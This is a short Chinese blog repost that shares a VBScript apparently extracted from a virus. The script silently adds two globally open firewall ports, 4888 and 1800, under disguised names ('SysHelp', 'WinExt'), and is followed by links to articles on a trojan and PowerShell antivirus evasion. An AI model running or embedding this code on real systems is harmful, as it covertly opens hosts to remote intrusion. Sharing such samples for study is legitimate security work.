从病毒文件中获取的一个vbs

简介:
Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
Set objPort = CreateObject("HNetCfg.FwOpenPort")
objPort.Port = 4888
objPort.Name = "SysHelp"
objPort.Enabled = True
Set objPort1 = CreateObject("HNetCfg.FwOpenPort")
objPort1.Port = 1800
objPort1.Name = "WinExt"
objPort1.Enabled = True
Set colPorts = objPolicy.GloballyOpenPorts
errReturn = colPorts.Add(objPort1)
errReturn = colPorts.Add(objPort)

 本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/102621

相关文章
|
2月前
|
安全 Windows
木马windowout.exe
木马windowout.exe
|
数据安全/隐私保护
Powershell免杀系列(二)
Powershell免杀系列(二)
324 0